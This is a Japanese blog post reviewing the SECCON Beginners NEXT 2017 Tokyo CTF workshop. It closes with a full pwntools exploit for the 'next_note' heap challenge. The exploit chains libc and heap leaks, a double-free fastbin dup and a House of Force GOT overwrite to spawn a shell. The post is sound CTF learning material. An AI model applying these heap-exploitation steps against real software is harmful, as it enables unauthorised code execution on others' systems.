SECCON Beginners NEXT 2017 東京 感想

10/7に東京都立産業技術高等専門学校で開催されたSECCON Beginners NEXTに参加してきました。 Pwnable目的で参加しましたがWeb問の解説も学びが多くてとても楽しめました。 チームメンバーと固まって受講できたことで気軽に相談し合えたのも嬉しかったです。

Web

事前配布のスライドでgopherプロトコルを利用すると出てきた時点で「???」って感じでしたが、解説が分かりやすく最後まで理解することができました。 普段使わないようなcurlの特性や、廃れたプロトコルなど幅広く抑えないと解けない問題だったのできついなぁという感じです。 Web問には最近興味が出てきましたが、知識と経験が不足しているのでまだ遠い世界なのかな(-_-;) そもそもWeb問は常設CTFでもないと過去問の入手できないので経験積むこと自体難しいかも。

Pwnable

事前課題でそこそこのところまで進めていたので解説が飲み込みやすかったです。 配布された資料の図もわかりやすくて誤解していた箇所にも気づけたりしてとても助かりました。 しふくろさんが作問ということで絶対House of Rabbit使うだろうなと決め打ちしてトライしましたが、最後の最後で詰んでしまいました。 double freeは脆弱性として扱われるということは知っていましたが具体的な攻撃テクニックを知らなかったのでいい勉強になりました。 思ったよりも簡単に次に返るfastbin chunkを偽装できるのでお気に入りの脆弱性になりそうです。 以下exploit

rom pwn import *
from sys import argv
import re
 
context(os='linux', arch='amd64', log_level='info')
FILE_NAME = './next_note'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
 
if len(argv) > 1:
    if argv[1][0] == 'r':
        r = remote('addr', port)
    elif argv[1][0] == 'd':
        gdb_cmd = """
set $l=0x6020a0
b * add_note + 104
#b * remove_note + 111
c
       """
        r = gdb.debug([FILE_NAME], gdb_cmd)
 
else:
    r = process(FILE_NAME)
 
 
#wrapper function
def add_note(size, note):
    r.sendafter('>> ', '1')
    r.sendafter('Input note length...', str(size))
    r.sendafter('Input note...', note)
 
 
def show_note():
    r.sendafter('>> ', '2')
    return r.recvuntil('done.')
 
 
def remove_note(index):
    r.sendafter('>> ', '3')
    r.sendafter('Input id to remove...', str(index))
 
 
def main():
    got_base = 0x602000
    got_atoi = 0x602060
 
    #leak
    ##libc leak
    log.info('libc leak')
    add_note(0x88, "A" * 0x87)  #0
    add_note(0x88, "/bin/sh")   #1
    add_note(72, "C" * 71)      #2
    add_note(72, "D" * 71)      #3
 
    remove_note(0)
    remove_note(1)
 
    main_arena_88 = u64(show_note()[0x11: 0x17].ljust(8, b'\x00'))
    libc_base = main_arena_88 - 0x3c4b78
    fun_system = libc_base + libc.symbols[b'system']
    log.info("leak = 0x{0:x}".format(main_arena_88))
    log.info("libc_base = 0x{0:x}".format(libc_base))
    log.info("fun_system = 0x{0:x}".format(fun_system))
 
    ##heap leak
    log.info("heap leak")
    remove_note(2)
    remove_note(3)
    heap_leak = u64(re.search(b'03 : (.*)\ndone.', show_note()).group(1).ljust(8, b'\x00'))
    heap_base = heap_leak - 0x120
    log.info('heap_base = 0x{0:x}'.format(heap_base))
 
 
    #fastbin dup
    log.info("fastbin dup")
    add_note(72, "E" * 71)  #4
    add_note(72, "F" * 71)  #5
 
    fake_chunk_addr = heap_base + 0x1b0
 
    remove_note(4)
    remove_note(5)
    remove_note(4)
    add_note(72, p64(fake_chunk_addr))  #6
    add_note(72, "G" * 71)              #7
 
 
    #House of Force
    add_note(72, (b"\x50\x00\x00\x00\x00\x00\x00" + p64(0)).rjust(71, b"\x00")) #8
    add_note(72, p64(0xffffffffffffffff) * 2)                                   #9
    force = got_base - fake_chunk_addr - 0x18
    add_note(force,"")
    add_note(0x200, (p64(fun_system) * 2)[:-1]) #erase line's terminal null byte
    remove_note(1) #system('/bin/sh')
    r.interactive()
 
 
if __name__ == '__main__':
    main()